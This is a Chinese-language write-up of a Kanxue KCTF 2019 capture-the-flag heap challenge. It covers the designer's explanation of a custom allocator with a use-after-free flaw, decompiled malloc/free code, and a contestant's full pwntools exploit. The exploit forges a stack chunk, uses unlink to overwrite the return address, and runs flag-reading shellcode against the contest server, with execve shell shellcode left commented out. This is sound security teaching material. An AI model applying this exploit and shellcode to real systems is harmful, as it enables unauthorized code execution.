看雪.纽盾 KCTF 2019 Q3 | 第六题点评及解题思路

发布者:Editor
发布于:2019-10-08 13:36

自古以来,在暗夜中隐藏着神秘的刺客一族“荆氏”。他们掌握着代代相传的杀人之剑的秘诀,收受佣金为雇主服务,并且守口如瓶。
荆轲白日里混迹街头,与市井无赖为伍,夜幕降临时则化身为致命杀手。
将军樊於期,窥探到秦王的秘密被迫逃亡,成为燕国的客人。但是,他的声望引起了太子丹的嫉妒。太子丹的手下将大笔金钱送到了杀手荆轲的手中。
豪爽的樊於期与年轻的无赖荆轲,早已超越身份结为好友。最终他拒绝了这笔生意。
次日,外面被太子丹的大批私兵包围。“真可惜啊,我还没有机会为自己挥出过一剑。”荆轲叹息着,提剑走向了残忍的凶手。惨烈的战斗持续到黄昏,熊熊烈焰将半条街映红。



题目简介



本题共有1028人围观,最终只有17支团队攻破成功。比赛过程也十分精彩,选手们深夜破题,化身刺客打破排名僵局,一举拿下属于团队的荣誉。


攻破此题的战队排名一览:



这道题也十分有趣,接下来我们一起来看一下这道题的点评和详细解析吧。


看雪评委crownless点评



程序重新自己实现了简单的malloc和free,并且存在uaf,可以直接修改free掉过的chunk的fd指向存在"\x7F"的stdin附近(程序没有PIE),而后注意到其malloc的实现时调用map生成的地址可读可写可执行,将一个note指向got表,将其修改到布置好shellcode的地址即可。



出题团队简介



本题出题战队NEURON:



下面是相关简介:

NEURON是一个信息安全爱好者技术团队,成员有各大安全公司技术人员、甲方的信息安全部门人员以及各大高校的学生等。从2014年开始提供信息安全外包服务。

多年来我们和国内多家信息安全测评中心、科学研究院、运营商、高校都有密切的合作。

我们把多年的技术积累转换为服务业务,为各行各业的网络信息系统安全提供可靠的技术保障,也帮助高校培养合格的信息安全技术人才。



设计思路



main函数源码:


通过malloc分配一个堆缓冲区;释放指定的缓冲区;在指定地址可以写入;输出堆栈地址;退出返回。主要漏洞逻辑是在malloc和free函数中,每一个堆块都有读写区域,最后两个word会作为空闲列表指针。堆区域布置如下:


在free之后存在一个UAF漏洞,可以通过在free和malloc之后重写fd的值将bin设置成任意地址,现在该地址的区域是由下一个malloc保护的,这样就可以控制返回地址,并且只开了NX,代码是可以被写入堆空间中的,这样返回地址就会被重写为堆地址,劫持后执行shellcode。add_free_block函数源码:

void *add_free_block( unsigned int size)
{
    void *new_block = NULL;
    pm_header thdr;
    pm_footer tftr;
 
    /// 将size + sizeof(malloc header)放置到最近的页上
    size += sizeof( m_header );
 
    if ( size % PAGE_SIZE ) {
        size /= PAGE_SIZE;
        size += 1;
        size *= PAGE_SIZE;
    }
 
    new_block = mmap( NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
    if ( new_block == NULL ) {
        exit(-1);
    }
 
    thdr = (pm_header)new_block;
 
    thdr->size = size - sizeof(m_header);
 
    tftr = BLOCK_FOOTER( new_block );
 
    tftr->pNext = NULL;
    tftr->pPrev = memman_g.free_list;
 
    memman_g.free_list = new_block;
 
    return new_block;
}

malloc代码:

void *malloc( unsigned int size )
{
    void *freeWalker = NULL;
    void *final_alloc = NULL;
    void *new_block = NULL;
    unsigned int size_left = 0;
 
    pm_header thdr;
    pm_footer tftr;
    pm_header header_new_block;
    pm_footer footer_new_block;
 
    /// 每个块至少是页脚结构的大小
    if ( size < sizeof( m_footer ) ) {
        size = sizeof(m_footer);
    }
 
    /// 对齐到8个字节
    if ( size % 8 ) {
        size = ( size >> 3 ) + 1;
        size <<= 3;
    }
 
    freeWalker = memman_g.free_list;
 
    while ( 1 ) {
        if ( freeWalker == NULL ) {
            freeWalker = add_free_block( size );
        }
 
        thdr = (pm_header)freeWalker;
        tftr = BLOCK_FOOTER( freeWalker );
 
        /// 检查当前块是否足够大以满足请求
        /// 如果是的话,就要根据需要缩小尺寸
        if ( ( thdr->size & ~3) >= size ) {
            final_alloc = freeWalker + sizeof(pm_header);
 
            size_left = (thdr->size& ~3) - size;
 
            /// 设置一个标志
            thdr->size |= 1;
 
            // 如果有空间则创建一个新块
            if ( size_left > sizeof(m_header) + sizeof( m_footer) ) {
 
                // 修正尺寸大小
                thdr->size = size;
                thdr->size |= 1;
 
                // 设置标志,前一个块后面还有一个堆块
                thdr->size |= 2;
 
                new_block = final_alloc + size;
 
                header_new_block = (pm_header)new_block;
                header_new_block->size = size_left - sizeof(m_header);
                footer_new_block = tftr;
 
                /// 如果这是列表的头部就要修正它
                if ( freeWalker == memman_g.free_list ) {
 
                    memman_g.free_list = new_block;
 
 
                    if ( tftr->pNext != NULL ) {
                        tftr = BLOCK_FOOTER( (void*)(tftr->pNext) );
                        tftr->pPrev = (pm_header)new_block;
                    }
                } else {
 
                    // 修改前向和后向指针
                    if ( tftr->pPrev != NULL ) {
                        freeWalker = tftr->pPrev;
                        tftr = BLOCK_FOOTER( freeWalker );
                        tftr->pNext = (pm_header)new_block;
 
                        tftr = footer_new_block;
                    }
 
                    if ( tftr->pNext != NULL ) {
                        freeWalker = tftr->pNext;
                        tftr = BLOCK_FOOTER( freeWalker);
                        tftr->pPrev = (pm_header)new_block;
                    }
 
                }
 
            } else {
 
                /// 修改前向和后向指针
                if ( freeWalker == memman_g.free_list ) {
                    memman_g.free_list = tftr->pNext;
 
                    if ( memman_g.free_list ) {
                        tftr = BLOCK_FOOTER( (void*)(memman_g.free_list) );
                        tftr->pPrev = NULL;
                    }
 
                } else {
                    // 修改前向和后向指针
                    if ( tftr->pPrev != NULL ) {
                        freeWalker = tftr->pPrev;
                        pm_footer unlink_ftr = BLOCK_FOOTER( freeWalker );
                        unlink_ftr->pNext = tftr->pNext;
                    }
 
                    if ( tftr->pNext != NULL ) {
                        freeWalker = tftr->pNext;
 
                        pm_footer unlink_ftr = BLOCK_FOOTER( freeWalker);
                        unlink_ftr->pPrev = tftr->pPrev;
                    }
                }
            }
 
            /// 修改完成,返回分配的堆空间
            return final_alloc;
        }
 
        freeWalker = (void*)tftr->pNext;
 
    }
}

这个漏洞是在分配新缓冲区时,没有检查缓冲区大小,这样就可以提供负大小的缓冲区。IDA代码如下:

.text:0000000000400A28 mov     edx, 0FFh       ; nbytes
.text:0000000000400A2D mov     rsi, rax        ; buf
.text:0000000000400A30 mov     edi, 0 ; fd
.text:0000000000400A35 call    _read           ;; read(0, &stdin_buffer, 0xFF)
 
.text:0000000000400A49 lea     rax, [rbp+stdin_buffer]
.text:0000000000400A50 mov     rdi, rax        ; nptr
.text:0000000000400A53 call    _atoi
.text:0000000000400A58 mov     [rbp+size], eax
.text:0000000000400A5B mov     ebx, cs:index
.text:0000000000400A61 mov     eax, [rbp+sz]
.text:0000000000400A64 mov     edi, eax
.text:0000000000400A66 call    allocate_buffer  ;; no check on size before call to allocate_buffer(size)

free_buffer(data_ptr)将得到块的长度data_ptr - 8,并且会存储指向head_free_list_ptr的块,在下一次free()后 ,这个指针将会被解引用,但是这个指针也是可控的。利用这个漏洞需要使用堆分配器直接在堆栈内进行分配(由于“Nice Addr”命令,其地址已知)。所以我们需要:

分配3个堆块,第二个分配的块必须是-1后的大小


释放第3个堆块


释放第二堆块


+----------------+
| size = N |
| data |
| .. |
| |
| |
| ptr_to_stack |
+----------------+
| size = -1 |
+----------------+
| size = M |
| data |
| |
| |
+----------------+

第二次释放后,我们就可以控制head_free_list_ptr了:

sz = 128
allocate(s, sz)
allocate(s, -1)
allocate(s, 10)
 
free(s, "3")
free(s, "2")
 
payload = "A"*(sz-8) + p64(0x4242424242424242)
write(s, 1, payload)

现在需要确切知道最后一次调用$ rbp的确切位置,“Nice Addr”命令会提供信息。

main() 函数使用非常大的缓冲区(0x100字节)来存储从stdin读取的值:

.text:0000000000400905 ; int __cdecl main(int, char **, char **)
.text:0000000000400905 main proc near
.text:0000000000400905
.text:0000000000400905 stdin_buffer= byte ptr -120h ;; <<-- this buffer provides a good place to land reliably
.text:0000000000400905 sz= dword ptr -14h

位置也很容易确定:


现在head_free_list_ptr就完全可控了。我们需要在此地址写入一个较大的值,例如0x1000,这样在检查此地址时,allocate_buffer()会认为堆栈中的缓冲区足够大,就可用于新的分配:

padd = 'D'*126 + p64(0x1000) + 'B'*8 + 'C'*8
free(s, "2" + "\0" + padd)
 
allocate(s, 512)

这样就将其转换为了常规堆栈溢出,只需在新分配的地址0x7fffffffe458处写入shellcode即可。


解题思路



本题解题思路由看雪论坛KevinsBobo提供:




题目分析


1、保护情况


2、作者自己实现了堆分配函数malloc() free()

3、分配出的内存具有可执行属性,因此虽然开了NX数据执行保护,但是堆上面的数据属性是可执行的。


4、具有分配、释放、写以及打印一个栈地址的操作,而写的时候又输出了堆地址,泄露了栈地址和堆地址可以认为作者在暗示这是一个修改返回地址到堆上的操作,后面围绕着这个目标进行。


5、释放后没有将指针置零,属于UAF漏洞。



堆结构


分析堆结构需要结合分配与释放函数来分析。


分配


_QWORD *__fastcall f_malloc_400CF7(unsigned int a1)
{
  unsigned int size; // [rsp+Ch] [rbp-54h]
  unsigned int idle_mem_size; // [rsp+3Ch] [rbp-24h]
  _QWORD *p_idle_mem; // [rsp+40h] [rbp-20h]
  signed __int64 data_addr; // [rsp+48h] [rbp-18h]
  unsigned __int64 bk; // [rsp+50h] [rbp-10h]
  _QWORD *addr; // [rsp+58h] [rbp-8h]
//
  size = a1;
  if ( a1 <= 15 )
    size = 16; // 最低分配16字节
  if ( size & 7 )
    size = 8 * ((size >> 3) + 1); // 8字节对齐
  for ( addr = (_QWORD *)g_first_idle_heap_602558; ; addr = *(_QWORD **)bk )
  {
    if ( !addr )
      addr = f_init_mmap_400C2D(size);
    bk = (unsigned __int64)addr + (*addr & 0xFFFFFFFFFFFFFFFCLL) - 8;
    if ( (*addr & 0xFFFFFFFFFFFFFFFCLL) >= size )// 如果堆大小大于等于 size 符合条件
      break;
  }
  data_addr = (signed __int64)(addr + 1);
  idle_mem_size = (*addr & 0xFFFFFFFC) - size; // 分配给用户后的剩余空间
  *addr |= 1uLL; // 标记当前堆是使用状态
  if ( idle_mem_size <= 0x18 ) // 闲置空间太小
  {
    if ( (_QWORD *)g_first_idle_heap_602558 == addr )
    {
      g_first_idle_heap_602558 = *(_QWORD *)bk;
      if ( g_first_idle_heap_602558 )
        *(_QWORD *)(g_first_idle_heap_602558 + (*(_QWORD *)g_first_idle_heap_602558 & 0xFFFFFFFFFFFFFFFCLL)) = 0LL;// fd = 0
    }
    else
    {
      if ( *(_QWORD *)(bk + 8) ) // fd
        *(_QWORD *)((**(_QWORD **)(bk + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(bk + 8)) = *(_QWORD *)bk;// fd->bk = bk
      if ( *(_QWORD *)bk )
        *(_QWORD *)((**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)bk) = *(_QWORD *)(bk + 8);// bk->fd = fd
    }
  }
  else                                          // 闲置空间至少还能再分配一次内存,分割出用户内存,与闲置内存
  {
    *addr = size;
    *addr |= 1uLL; // 标记当前堆是使用状态
    *addr |= 2uLL; // 标记相邻的下一个堆是未使用状态 True 代表未使用
    p_idle_mem = (_QWORD *)(size + data_addr);
    *p_idle_mem = idle_mem_size - 8LL; // 设置闲置内存大小
    if ( (_QWORD *)g_first_idle_heap_602558 == addr )
    {
      g_first_idle_heap_602558 = size + data_addr;// 将全局变量保存的堆地址指向闲置内存地址
      if ( *(_QWORD *)bk )
        *(_QWORD *)(*(_QWORD *)bk + (**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL)) = p_idle_mem;// bk->fd = p_idle_mem
    }
    else
    {
      if ( *(_QWORD *)(bk + 8) )
        *(_QWORD *)((**(_QWORD **)(bk + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(bk + 8)) = p_idle_mem;// fd->bk = p_idle_mem
      if ( *(_QWORD *)bk )
        *(_QWORD *)((**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)bk) = p_idle_mem;// bk->fd = p_idle_mem
    }
  }
  return addr + 1;
}


释放


__int64 *__fastcall f_free_40101A(__int64 *addr)
{
  __int64 *flag; // rax
  _OWORD *bk; // ST18_8
  _QWORD *next_bk; // [rsp+18h] [rbp-20h]
  __int64 *next_heap; // [rsp+20h] [rbp-18h]
  __int64 *heap_addr; // [rsp+28h] [rbp-10h]
 
  if ( addr )
  {
    heap_addr = addr - 1;
    flag = (__int64 *)(*(addr - 1) & 1);
    if ( flag )
    {
      if ( !(*heap_addr & 2) || (next_heap = &addr[(unsigned __int64)*heap_addr >> 3], *next_heap & 1) )// 相邻的下一个堆是使用状态
      {
        bk = (_OWORD *)((char *)heap_addr + (*heap_addr & 0xFFFFFFFFFFFFFFFCLL) - 8);// BK
        *heap_addr ^= 1uLL; // 使用标志清零
        *bk = (unsigned __int64)g_first_idle_heap_602558;
        if ( g_first_idle_heap_602558 )
          *(_QWORD *)(g_first_idle_heap_602558 + (*(_QWORD *)g_first_idle_heap_602558 & 0xFFFFFFFFFFFFFFFCLL)) = heap_addr;// bk->fd = heap_addr
        flag = addr - 1;
        g_first_idle_heap_602558 = (__int64)(addr - 1);
      }
      else                                      // 相邻的下一个堆未使用,合并
      {
        *heap_addr += (*next_heap & 0xFFFFFFFFFFFFFFFCLL) + 8;// 合并大小
        if ( !(*next_heap & 2) )
          *heap_addr ^= 2uLL; // 继承相邻的下个堆的使用状态
        if ( (__int64 *)g_first_idle_heap_602558 == next_heap )
          g_first_idle_heap_602558 = (__int64)(addr - 1);
        next_bk = (__int64 *)((char *)heap_addr + (*heap_addr & 0xFFFFFFFFFFFFFFFCLL) - 8);
        if ( *next_bk )
          *(_QWORD *)(*next_bk + (*(_QWORD *)*next_bk & 0xFFFFFFFFFFFFFFFCLL)) = heap_addr;// next_bk->fd = heap_addr
        flag = (__int64 *)next_bk[1]; // flag = next_fd
        if ( flag )
        {
          flag = (__int64 *)(next_bk[1] + (*(_QWORD *)next_bk[1] & 0xFFFFFFFFFFFFFFFCLL) - 8);// next_fd->bk = heap_addr
          *flag = (__int64)heap_addr;
        }
      }
    }
  }
  return flag;
}


结构示意图




根据上图结合代码可发现,作者实现的堆是通过当前堆大小来定位相邻的下一个堆的,空闲堆的尾部保存了BK和FD指针。

利用方法


堆利用


通常利用堆实现任意地址写,都是通过控制堆的BK、FK指针,利用堆块在从链表中卸下时的Unlink操作来实现的,也就是BK->FD = FD; FD->BK = BK。作者实现的这个堆也有Unlink操作,在malloc分配内存时:


根据上面的代码可以看出,想要进行Unlink操作,需要满足以下几个条件:

分配给用户后剩余的空间小于0x18

当前堆块不能在空闲堆链表第一个

要满足以上需要这样操作,申请4个堆(1-4号大小分别为:32 32 24 xx),依次释放1号和3号堆,此时3号堆在链表头,再次申请32字节大小的堆时就只能找到链表中被释放的1号堆,然后从链表卸下,就触发了Unlink操作。而因为释放后没有将保存堆地址的指针清零,所以就可以修改已释放的3号堆的BK与FD,使其在重新分配时可以被我们控制来做任意地址写的操作。

修改返回地址


控制了BK与FD,需要将其指向一个符合堆结构的内存,即该内存前8字节为大小,加上大小到达FD或BK指定的位置,再修改。这就意味着必须要再栈中构造一个假的堆才能达到改写返回地址的作用。此时来看分配前的操作:


用了一个足够大的buf来接收用户输入,用完后也没有清空,而atoi()函数只解析字符串前面可识别的数字部分,也不对对后面非数字字符的数据产生影响或修改。所以现在可被控制的栈空间也有了,剩下的就是计算地址,构造假对进行修改了,详见exp,需要注意的时第四个堆的大小(哈哈,调一下就知道他是什么作用了)。

exp


作者的环境屏蔽了system('/bin/sh'),所以就直接找来读文件的ShellCode了。

#coding=utf-8
from pwn import *
#
# context.log_level = 'debug'
# p = process('./0xbird1')
p = remote('154.8.174.214', 10000)
#
# execve("/bin/sh") # x86-64
# shellcode = "\x48\x31\xf6\x56\x48\xbf"
# shellcode += "\x2f\x62\x69\x6e\x2f"
# shellcode += "\x2f\x73\x68\x57\x54"
# shellcode += "\x5f\xb0\x3b\x99\x0f\x05"
#
# read file ./flag.txt
shellcode = "\xeb\x2f\x5f\x6a\x02\x58\x48\x31\xf6\x0f\x05\x66\x81\xec\xef\x0f\x48\x8d\x34\x24\x48\x97\x48\x31\xd2\x66\xba\xef\x0f\x48\x31\xc0\x0f\x05\x6a\x01\x5f\x48\x92\x6a\x01\x58\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xcc\xff\xff\xff\x2e\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x00";
#
heap_addr = []
#
def alloc(size):
    p.sendline('A')
    p.recvuntil("Size: ")
    p.sendline(str(size))
    p.recvuntil("2019KCTF| ")
#
def free(id):
    p.sendline('F')
    p.recvuntil("Index: ")
    p.sendline(str(id))
    p.recvuntil("2019KCTF| ")
# 
def edit(id, data, count):
    p.sendline('W')
    for i in range(1, count+1):
        p.recvuntil(") 0x")
        heap_addr.append(int(p.recvuntil(" "), 16))
    p.recvuntil("Write addr: ")
    p.sendline(str(id))
    p.recvuntil("Write value: ")
    p.send(data)
    p.recvuntil("2019KCTF| ")
# 
def leak():
    p.sendline('N')
    p.recvuntil("Here you go: 0x")
    return int(p.recvuntil("\n"), 16) + 0x14
#
stack = leak() + 8
print('Get Stack addr: %x' % stack)
#
alloc(32)
alloc(32)
alloc(24)
alloc(1768) # 0x06E8 jmp $+8
edit(4, shellcode, 4)
#
print('Heap Addr:')
print(heap_addr)
#
free(1)
free(3)
#
heap01 = 'A'*16 + p64(stack) + p64(heap_addr[3]-8)
# bk = 栈上的假堆, fd = 第4个堆,这个堆里面保存了 shellcode
# 在 alloc 时,bk->fd = shellcode_addr => stack->main_ret = shellcode_addr
edit(1, heap01, 3)
print('Heap Addr:')
print(heap_addr)
#
raw_input("Pause~\n")
#
# 发送大小时,在栈上面布局一个假堆,大小 0x120,fd = main_ret
size_data = '32.' + 'A'*5 + p64(0x120)
p.sendline('A')
p.recvuntil("Size: ")
p.sendline(size_data)
p.recvuntil("2019KCTF| ")
#
# 跳到 shellcode
p.sendline('E')
#
# p.interactive()
p.close()



声明:该文观点仅代表作者本人,转载请注明来自看雪